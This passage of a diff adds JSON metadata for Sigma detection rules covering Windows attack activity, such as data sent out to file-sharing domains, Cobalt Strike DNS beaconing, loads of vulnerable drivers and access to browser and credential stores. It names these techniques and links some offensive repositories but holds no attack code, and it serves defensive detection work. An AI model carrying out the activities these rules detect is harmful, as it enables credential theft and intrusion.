"573df571-a223-43bc-846e-3f98da481eca", + "value": "Creation Of a Suspicious ADS File Outside a Browser Download" + }, + { + "description": "Detects the creation of a file on disk that has an imphash of a well-known hack tool", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/08/24", + "falsepositive": [ + "Unknown" + ], + "filename": "create_stream_hash_hacktool_download.yml", + "level": "high", + "logsource.category": "create_stream_hash", + "logsource.product": "windows", + "refs": [ + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=90015", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_hacktool_download.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.s0139", + "attack.t1564.004" + ] + }, + "uuid": "19b041f6-e583-40dc-b842-d6fa8011493f", + "value": "Hacktool Download" + }, + { + "description": "Exports the target Registry key and hides it in the specified alternate data stream.", + "meta": { + "author": "Oddvar Moe, Sander Wiebing, oscd.community", + "creation_date": "2020/10/07", + "falsepositive": [ + "Unknown" + ], + "filename": "create_stream_hash_regedit_export_to_ads.yml", + "level": "high", + "logsource.category": "create_stream_hash", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Regedit/", + "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_regedit_export_to_ads.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.004" + ] + }, + "uuid": "0d7a9363-af70-4e7b-a3b7-1a176b7fbe84", + "value": "Exports Registry Key To an Alternate Data Stream" + }, + { + "description": "Detects the download of suspicious file type from a well-known file and paste sharing domain", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/08/24", + "falsepositive": [ + "Unknown" + ], + "filename": "create_stream_hash_susp_domain_ext_combo.yml", + "level": "high", + "logsource.category": "create_stream_hash", + "logsource.product": "windows", + "refs": [ + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=90015", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_susp_domain_ext_combo.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.s0139", + "attack.t1564.004" + ] + }, + "uuid": "52182dfb-afb7-41db-b4bc-5336cb29b464", + "value": "Suspicious File Download from File Sharing Domain" + }, + { + "description": "Detects the download of suspicious file type from a well-known file and paste sharing domain", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/08/24", + "falsepositive": [ + "Unknown" + ], + "filename": "create_stream_hash_susp_domain_ext_combo_med.yml", + "level": "medium", + "logsource.category": "create_stream_hash", + "logsource.product": "windows", + "refs": [ + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=90015", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_susp_domain_ext_combo_med.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.s0139", + "attack.t1564.004" + ] + }, + "uuid": "ae02ed70-11aa-4a22-b397-c0d0e8f6ea99", + "value": "Unusual File Download from File Sharing Domain" + }, + { + "description": "Detects the download of suspicious file type from URLs with IP", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/09/07", + "falsepositive": [ + "Unknown" + ], + "filename": "create_stream_hash_susp_ip_domains.yml", + "level": "high", + "logsource.category": "create_stream_hash", + "logsource.product": "windows", + "refs": [ + "https://github.com/trustedsec/SysmonCommunityGuide/blob/adcdfee20999f422b974c8d4149bf4c361237db7/chapters/file-stream-creation-hash.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_susp_ip_domains.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.004" + ] + }, + "uuid": "025bd229-fd1f-4fdb-97ab-20006e1a5368", + "value": "Unusual File Download from Direct IP Address" + }, + { + "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", + "meta": { + "author": "frack113", + "creation_date": "2022/07/11", + "falsepositive": [ + "FP may be caused in legitimate usage of the softwares mentioned above" + ], + "filename": "dns_query_remote_access_software_domains.yml", + "level": "medium", + "logsource.category": "dns_query", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-4---gotoassist-files-detected-test-on-windows", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-3---logmein-files-detected-test-on-windows", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-6---ammyy-admin-software-execution", + "https://redcanary.com/blog/misbehaving-rats/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_remote_access_software_domains.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ] + }, + "uuid": "4d07b1f4-cb00-4470-b9f8-b0191d48ff52", + "value": "Query To Remote Access Software Domain" + }, + { + "description": "Detects DNS queries for anonfiles.com, which is an anonymous file upload platform often used for malicious purposes", + "meta": { + "author": "pH-T", + "creation_date": "2022/07/15", + "falsepositive": [ + "Legitimate access to anonfiles.com" + ], + "filename": "dns_query_win_anonymfiles_com.yml", + "level": "high", + "logsource.category": "dns_query", + "logsource.product": "windows", + "refs": [ + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbyte", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_anonymfiles_com.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1567.002" + ] + }, + "uuid": "065cceea-77ec-4030-9052-fc0affea7110", + "value": "DNS Query for Anonfiles.com Domain" + }, + { + "description": "Detects Azure Hybrid Connection Manager services querying the Azure service bus service", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "creation_date": "2021/04/12", + "falsepositive": [ + "Legitimate use of Azure Hybrid Connection Manager and the Azure Service Bus service" + ], + "filename": "dns_query_win_hybridconnectionmgr_servicebus.yml", + "level": "high", + "logsource.category": "dns_query", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/Cyb3rWard0g/status/1381642789369286662", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_hybridconnectionmgr_servicebus.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1554" + ] + }, + "uuid": "7bd3902d-8b8b-4dd4-838a-c6862d40150d", + "value": "DNS HybridConnectionManager Service Bus" + }, + { + "description": "AppInstaller.exe is spawned by the default handler for the URI, it attempts to load/install a package from the URL", + "meta": { + "author": "frack113", + "creation_date": "2021/11/24", + "falsepositive": [ + "Unknown" + ], + "filename": "dns_query_win_lobas_appinstaller.yml", + "level": "medium", + "logsource.category": "dns_query", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/notwhickey/status/1333900137232523264", + "https://lolbas-project.github.io/lolbas/Binaries/AppInstaller/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_lobas_appinstaller.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ] + }, + "uuid": "7cff77e1-9663-46a3-8260-17f2e1aa9d0a", + "value": "AppInstaller Attempts From URL by DNS" + }, + { + "description": "Detects a program that invoked suspicious DNS queries known from Cobalt Strike beacons", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/11/09", + "falsepositive": [ + "Unknown" + ], + "filename": "dns_query_win_mal_cobaltstrike.yml", + "level": "critical", + "logsource.category": "dns_query", + "logsource.product": "windows", + "refs": [ + "https://www.icebrg.io/blog/footprints-of-fin7-tracking-actor-patterns", + "https://www.sekoia.io/en/hunting-and-detecting-cobalt-strike/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_mal_cobaltstrike.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.004" + ] + }, + "uuid": "f356a9c4-effd-4608-bbf8-408afd5cd006", + "value": "Suspicious Cobalt Strike DNS Beaconing" + }, + { + "description": "Detects DNS queries for subdomains used for upload to MEGA.io", + "meta": { + "author": "Aaron Greetham (@beardofbinary) - NCC Group", + "creation_date": "2021/05/26", + "falsepositive": [ + "Legitimate Mega upload" + ], + "filename": "dns_query_win_mega_nz.yml", + "level": "high", + "logsource.category": "dns_query", + "logsource.product": "windows", + "refs": [ + "https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_mega_nz.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1567.002" + ] + }, + "uuid": "613c03ba-0779-4a53-8a1f-47f914a4ded3", + "value": "DNS Query for MEGA.io Upload Domain" + }, + { + "description": "Detects several different DNS-answers by one domain with IPs from internal and external networks. Normally, DNS-answer contain TTL >100. (DNS-record will saved in host cache for a while TTL).", + "meta": { + "author": "Ilyas Ochkov, oscd.community", + "creation_date": "2019/10/25", + "falsepositive": "No established falsepositives", + "filename": "dns_query_win_possible_dns_rebinding.yml", + "level": "medium", + "logsource.category": "dns_query", + "logsource.product": "windows", + "refs": [ + "https://medium.com/@brannondorsey/attacking-private-networks-from-the-internet-with-dns-rebinding-ea7098a2d325", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_possible_dns_rebinding.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1189" + ] + }, + "uuid": "eb07e747-2552-44cd-af36-b659ae0958e4", + "value": "Possible DNS Rebinding" + }, + { + "description": "Detects network connections and DNS queries initiated by Regsvr32.exe", + "meta": { + "author": "Dmitriy Lifanov, oscd.community", + "creation_date": "2019/10/25", + "falsepositive": [ + "Unknown" + ], + "filename": "dns_query_win_regsvr32_network_activity.yml", + "level": "high", + "logsource.category": "dns_query", + "logsource.product": "windows", + "refs": [ + "https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/", + "https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_regsvr32_network_activity.yml" + ], + "tags": [ + "attack.execution", + "attack.t1559.001", + "attack.defense_evasion", + "attack.t1218.010" + ] + }, + "uuid": "36e037c4-c228-4866-b6a3-48eb292b9955", + "value": "Regsvr32 Network Activity" + }, + { + "description": "Detects DNS queries for ip lookup services such as api.ipify.org not originating from a non browser process.", + "meta": { + "author": "Brandon George (blog post), Thomas Patzke (rule)", + "creation_date": "2021/07/08", + "falsepositive": [ + "Legitimate usage of ip lookup services such as ipify API" + ], + "filename": "dns_query_win_susp_ipify.yml", + "level": "medium", + "logsource.category": "dns_query", + "logsource.product": "windows", + "refs": [ + "https://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon", + "https://twitter.com/neonprimetime/status/1436376497980428318", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_susp_ipify.yml" + ], + "tags": [ + "attack.reconnaissance", + "attack.t1590" + ] + }, + "uuid": "ec82e2a5-81ea-4211-a1f8-37a0286df2c2", + "value": "Suspicious DNS Query for IP Lookup Service APIs" + }, + { + "description": "Detect suspicious LDAP request from non-Windows application", + "meta": { + "author": "frack113", + "creation_date": "2022/08/20", + "falsepositive": [ + "Programs that also lookup the observed domain" + ], + "filename": "dns_query_win_susp_ldap.yml", + "level": "medium", + "logsource.category": "dns_query", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1482/T1482.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_susp_ldap.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1482" + ] + }, + "uuid": "a21bcd7e-38ec-49ad-b69a-9ea17e69509e", + "value": "Suspicious LDAP Domain Access" + }, + { + "description": "Detects DNS queries to a TeamViewer domain only resolved by a TeamViewer client by an image that isn't named TeamViewer (sometimes used by threat actors for obfuscation)", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/01/30", + "falsepositive": [ + "Unknown binary names of TeamViewer", + "Other programs that also lookup the observed domain" + ], + "filename": "dns_query_win_susp_teamviewer.yml", + "level": "medium", + "logsource.category": "dns_query", + "logsource.product": "windows", + "refs": [ + "https://www.teamviewer.com/en-us/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_susp_teamviewer.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ] + }, + "uuid": "778ba9a8-45e4-4b80-8e3e-34a419f0b85e", + "value": "Suspicious TeamViewer Domain Access" + }, + { + "description": "Detects DNS resolution of an .onion address related to Tor routing networks", + "meta": { + "author": "frack113", + "creation_date": "2022/02/20", + "falsepositive": [ + "Unknown" + ], + "filename": "dns_query_win_tor_onion.yml", + "level": "high", + "logsource.category": "dns_query", + "logsource.product": "windows", + "refs": [ + "https://www.logpoint.com/en/blog/detecting-tor-use-with-logpoint/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_tor_onion.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1090.003" + ] + }, + "uuid": "b55ca2a3-7cff-4dda-8bdd-c7bfa63bf544", + "value": "Query Tor Onion Address" + }, + { + "description": "Detects DNS queries for subdomains used for upload to ufile.io", + "meta": { + "author": "yatinwad and TheDFIRReport", + "creation_date": "2022/06/23", + "falsepositive": [ + "Legitimate Ufile upload" + ], + "filename": "dns_query_win_ufile_io.yml", + "level": "high", + "logsource.category": "dns_query", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2021/12/13/diavol-ransomware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_ufile_io.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1567.002" + ] + }, + "uuid": "1cbbeaaf-3c8c-4e4c-9d72-49485b6a176b", + "value": "DNS Query for Ufile.io Upload Domain" + }, + { + "description": "Detects well-known credential dumping tools execution via service execution events", + "meta": { + "author": "Florian Roth, Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community", + "creation_date": "2017/03/05", + "falsepositive": [ + "Legitimate Administrator using credential dumping tool for password recovery" + ], + "filename": "driver_load_mal_creddumper.yml", + "level": "critical", + "logsource.category": "driver_load", + "logsource.product": "windows", + "refs": [ + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_mal_creddumper.yml" + ], + "tags": [ + "attack.credential_access", + "attack.execution", + "attack.t1003.001", + "attack.t1003.002", + "attack.t1003.004", + "attack.t1003.005", + "attack.t1003.006", + "attack.t1569.002", + "attack.s0005" + ] + }, + "uuid": "df5ff0a5-f83f-4a5b-bba1-3e6a3f6f6ea2", + "value": "Credential Dumping Tools Service Execution" + }, + { + "description": "Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation", + "meta": { + "author": "Teymur Kheirkhabarov, Ecco, Florian Roth", + "creation_date": "2019/10/26", + "falsepositive": [ + "Highly unlikely" + ], + "filename": "driver_load_meterpreter_or_cobaltstrike_getsystem_service_installation.yml", + "level": "critical", + "logsource.category": "driver_load", + "logsource.product": "windows", + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", + "https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_meterpreter_or_cobaltstrike_getsystem_service_installation.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1134.001", + "attack.t1134.002" + ] + }, + "uuid": "d585ab5a-6a69-49a8-96e8-4a726a54de46", + "value": "Meterpreter or Cobalt Strike Getsystem Service Installation" + }, + { + "description": "Detects powershell script installed as a Service", + "meta": { + "author": "oscd.community, Natalia Shornikova", + "creation_date": "2020/10/06", + "falsepositive": [ + "Unknown" + ], + "filename": "driver_load_powershell_script_installed_as_service.yml", + "level": "high", + "logsource.category": "driver_load", + "logsource.product": "windows", + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_powershell_script_installed_as_service.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002" + ] + }, + "uuid": "46deb5e1-28c9-4905-b2df-51cdcc9e6073", + "value": "PowerShell Scripts Run by a Services" + }, + { + "description": "Detects a driver load from a temporary directory", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/02/12", + "falsepositive": [ + "There is a relevant set of false positives depending on applications in the environment" + ], + "filename": "driver_load_susp_temp_use.yml", + "level": "high", + "logsource.category": "driver_load", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_susp_temp_use.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1543.003" + ] + }, + "uuid": "2c4523d5-d481-4ed0-8ec3-7fbf0cb41a75", + "value": "Suspicious Driver Load from Temp" + }, + { + "description": "Detects the load of a signed and vulnerable AVAST Anti Rootkit driver often used by threat actors or malware for stopping and disabling AV and EDR products", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/28", + "falsepositive": [ + "Unknown" + ], + "filename": "driver_load_vuln_avast_anti_rootkit_driver.yml", + "level": "high", + "logsource.category": "driver_load", + "logsource.product": "windows", + "refs": [ + "https://www.aon.com/cyber-solutions/aon_cyber_labs/yours-truly-signed-av-driver-weaponizing-an-antivirus-driver/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_avast_anti_rootkit_driver.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1543.003" + ] + }, + "uuid": "7c676970-af4f-43c8-80af-ec9b49952852", + "value": "Vulnerable AVAST Anti Rootkit Driver Load" + }, + { + "description": "Detects the load of the vulnerable Dell BIOS update driver as reported in CVE-2021-21551", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/05/05", + "falsepositive": [ + "Legitimate BIOS driver updates (should be rare)" + ], + "filename": "driver_load_vuln_dell_driver.yml", + "level": "high", + "logsource.category": "driver_load", + "logsource.product": "windows", + "refs": [ + "https://labs.sentinelone.com/cve-2021-21551-hundreds-of-millions-of-dell-computers-at-risk-due-to-multiple-bios-driver-privilege-escalation-flaws/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_dell_driver.yml" + ], + "tags": [ + "attack.privilege_escalation", + "cve.2021.21551", + "attack.t1543" + ] + }, + "uuid": "21b23707-60d6-41bb-96e3-0f0481b0fed9", + "value": "Vulnerable Dell BIOS Update Driver Load" + }, + { + "description": "Detects the load of known vulnerable drivers by hash value", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/18", + "falsepositive": [ + "Unknown" + ], + "filename": "driver_load_vuln_drivers.yml", + "level": "high", + "logsource.category": "driver_load", + "logsource.product": "windows", + "refs": [ + "https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules", + "https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/", + "https://github.com/jbaines-r7/dellicious", + "https://github.com/MicrosoftDocs/windows-itpro-docs/blob/public/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules.md", + "https://github.com/namazso/physmem_drivers", + "https://github.com/stong/CVE-2020-15368", + "https://github.com/CaledoniaProject/drivers-binaries", + "https://www.unknowncheats.me/forum/anti-cheat-bypass/334557-vulnerable-driver-megathread.html", + "https://github.com/tandasat/ExploitCapcom", + "https://github.com/Chigusa0w0/AsusDriversPrivEscala/blob/master/ATSZIO.md", + "https://github.com/Chigusa0w0/AsusDriversPrivEscala/blob/master/DRIVER7.md", + "https://www.unknowncheats.me/forum/downloads.php?do=file&id=21780", + "https://www.rapid7.com/db/modules/exploit/windows/local/razer_zwopenprocess/", + "https://www.unknowncheats.me/forum/downloads.php?do=file&id=25444", + "https://www.zscaler.com/blogs/security-research/technical-analysis-windows-clfs-zero-day-vulnerability-cve-2022-37969-part", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_drivers.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1543.003" + ] + }, + "uuid": "7aaaf4b8-e47c-4295-92ee-6ed40a6f60c8", + "value": "Vulnerable Driver Load" + }, + { + "description": "Detects the load of known vulnerable drivers via their names only.", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/10/03", + "falsepositive": [ + "Some false positives may occure if one of the vulnerable driver names mentioned above didn't change it's name between versions. So always make sure that the driver being loaded is the legitimate one and the non vulnerable version.", + "If you experience a lot of FP you could comment the driver name or it's exact known legitimate location (when possible)" + ], + "filename": "driver_load_vuln_drivers_names.yml", + "level": "medium", + "logsource.category": "driver_load", + "logsource.product": "windows", + "refs": [ + "https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules", + "https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/", + "https://github.com/jbaines-r7/dellicious", + "https://github.com/MicrosoftDocs/windows-itpro-docs/blob/public/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules.md", + "https://github.com/namazso/physmem_drivers", + "https://github.com/stong/CVE-2020-15368", + "https://github.com/CaledoniaProject/drivers-binaries", + "https://github.com/Chigusa0w0/AsusDriversPrivEscala", + "https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/", + "https://eclypsium.com/2019/11/12/mother-of-all-drivers/", + "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-37969", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_drivers_names.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1543.003" + ] + }, + "uuid": "c316eac1-f3d8-42da-ad1c-66dcec5ca787", + "value": "Vulnerable Driver Load By Name" + }, + { + "description": "Detects the load of a signed and vulnerable GIGABYTE driver often used by threat actors or malware for privilege escalation", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/07/25", + "falsepositive": [ + "Unknown" + ], + "filename": "driver_load_vuln_gigabyte_driver.yml", + "level": "high", + "logsource.category": "driver_load", + "logsource.product": "windows", + "refs": [ + "https://medium.com/@fsx30/weaponizing-vulnerable-driver-for-privilege-escalation-gigabyte-edition-e73ee523598b", + "https://twitter.com/malmoeb/status/1551449425842786306", + "https://github.com/fengjixuchui/gdrv-loader", + "https://www.virustotal.com/gui/file/31f4cfb4c71da44120752721103a16512444c13c2ac2d857a7e6f13cb679b427/details", + "https://www.virustotal.com/gui/file/cfc5c585dd4e592dd1a08887ded28b92d9a5820587b6f4f8fa4f56d60289259b/details", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_gigabyte_driver.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1543.003" + ] + }, + "uuid": "7bcfeece-e5ed-4ff3-a5fb-2640d8cc8647", + "value": "Vulnerable GIGABYTE Driver Load" + }, + { + "description": "Detects the load of HackSys Extreme Vulnerable Driver which is an intentionally vulnerable Windows driver developed for security enthusiasts to learn and polish their exploitation skills at Kernel level and often abused by threat actors", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/18", + "falsepositive": [ + "Unlikely" + ], + "filename": "driver_load_vuln_hevd_driver.yml", + "level": "high", + "logsource.category": "driver_load", + "logsource.product": "windows", + "refs": [ + "https://github.com/hacksysteam/HackSysExtremeVulnerableDriver", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_hevd_driver.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1543.003" + ] + }, + "uuid": "295c9289-acee-4503-a571-8eacaef36b28", + "value": "Vulnerable HackSys Extreme Vulnerable Driver Load" + }, + { + "description": "Detects the load of a legitimate signed driver named HW.sys by often used by threat actors or malware for privilege escalation", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/07/26", + "falsepositive": [ + "Unknown" + ], + "filename": "driver_load_vuln_hw_driver.yml", + "level": "high", + "logsource.category": "driver_load", + "logsource.product": "windows", + "refs": [ + "https://decoded.avast.io/janvojtesek/the-return-of-candiru-zero-days-in-the-middle-east/", + "https://www.virustotal.com/gui/file/6a4875ae86131a594019dec4abd46ac6ba47e57a88287b814d07d929858fe3e5/details", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_hw_driver.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1543.003" + ] + }, + "uuid": "9bacc538-d1b9-4d42-862e-469eafc05a41", + "value": "Vulnerable HW Driver Load" + }, + { + "description": "Detects the load of the vulnerable Lenovo driver as reported in CVE-2022-3699 which can be used to escalate privileges", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/11/10", + "falsepositive": [ + "Legitimate driver loads (old driver that didn't receive an update)" + ], + "filename": "driver_load_vuln_lenovo_driver.yml", + "level": "high", + "logsource.category": "driver_load", + "logsource.product": "windows", + "refs": [ + "https://support.lenovo.com/de/en/product_security/ps500533-lenovo-diagnostics-vulnerabilities", + "https://github.com/alfarom256/CVE-2022-3699/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_lenovo_driver.yml" + ], + "tags": [ + "attack.privilege_escalation", + "cve.2021.21551", + "attack.t1543" + ] + }, + "uuid": "ac683a42-877b-4ff8-91ac-69e94b0f70b4", + "value": "Vulnerable Lenovo Driver Load" + }, + { + "description": "Detects the load of a signed WinRing0 driver often used by threat actors, crypto miners (XMRIG) or malware for privilege escalation", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/07/26", + "falsepositive": [ + "Unknown" + ], + "filename": "driver_load_vuln_winring0_driver.yml", + "level": "high", + "logsource.category": "driver_load", + "logsource.product": "windows", + "refs": [ + "https://github.com/xmrig/xmrig/tree/master/bin/WinRing0", + "https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_winring0_driver.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1543.003" + ] + }, + "uuid": "1a42dfa6-6cb2-4df9-9b48-295be477e835", + "value": "Vulnerable WinRing0 Driver Load" + }, + { + "description": "Detects the load of the Windiver driver, a powerful user-mode capture/sniffing/modification/blocking/re-injection package for Windows", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/07/30", + "falsepositive": [ + "Legitimate WinDivert driver usage" + ], + "filename": "driver_load_windivert.yml", + "level": "high", + "logsource.category": "driver_load", + "logsource.product": "windows", + "refs": [ + "https://reqrypt.org/windivert-doc.html", + "https://rastamouse.me/ntlm-relaying-via-cobalt-strike/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_windivert.yml" + ], + "tags": [ + "attack.collection", + "attack.defense_evasion", + "attack.t1599.001", + "attack.t1557.001" + ] + }, + "uuid": "679085d5-f427-4484-9f58-1dc30a7c426d", + "value": "WinDivert Driver Load" + }, + { + "description": "Detects suspicious processes based on name and location that access the browser credential stores which can be the sign of credential stealing", + "meta": { + "author": "frack113", + "creation_date": "2022/04/09", + "falsepositive": [ + "Antivirus, Anti-Spyware, Anti-Malware Software", + "Backup software", + "Software installed on other partitions other than \"C:\\\"", + "Searching software such as \"everything.exe\" that are installed and are not located in one of the \"filter_programfile\" filter entries" + ], + "filename": "file_access_win_browser_credential_stealing.yml", + "level": "medium", + "logsource.category": "file_access", + "logsource.product": "windows", + "refs": [ + "https://www.zscaler.com/blogs/security-research/ffdroider-stealer-targeting-social-media-platform-users", + "https://github.com/lclevy/firepwd", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_browser_credential_stealing.yml" + ], + "tags": [ + "attack.t1003", + "attack.credential_access" + ] + }, + "uuid": "91cb43db-302a-47e3-b3c8-7ede481e27bf", + "value": "Browser Credential Store Access" + }, + { + "description": "Detects suspicious processes based on name and location that access the windows credential manager and vault.\nWhich can be a sign of credential stealing. Example case would be usage of mimikatz \"dpapi::cred\" function\n", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/10/11", + "falsepositive": [ + "Legitimate software installed by the users for example in the \"AppData\" directory may access these files (for any reason)." + ], + "filename": "file_access_win_credential_manager_stealing.yml", + "level": "medium", + "logsource.category": "file_access", + "logsource.product": "windows", + "refs": [ + "https://hunter2.gitbook.io/darthsidious/privilege-escalation/mimikatz", + "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_credential_manager_stealing.yml" + ], + "tags": [ + "attack.t1003", + "attack.credential_access" + ] + }, + "uuid": "407aecb1-e762-4acf-8c7b-d087bcff3bb6", + "value": "Credential Manager Access" + }, + { + "description": "Detects suspicious processes based on name and location that access the Windows Data Protection API Master 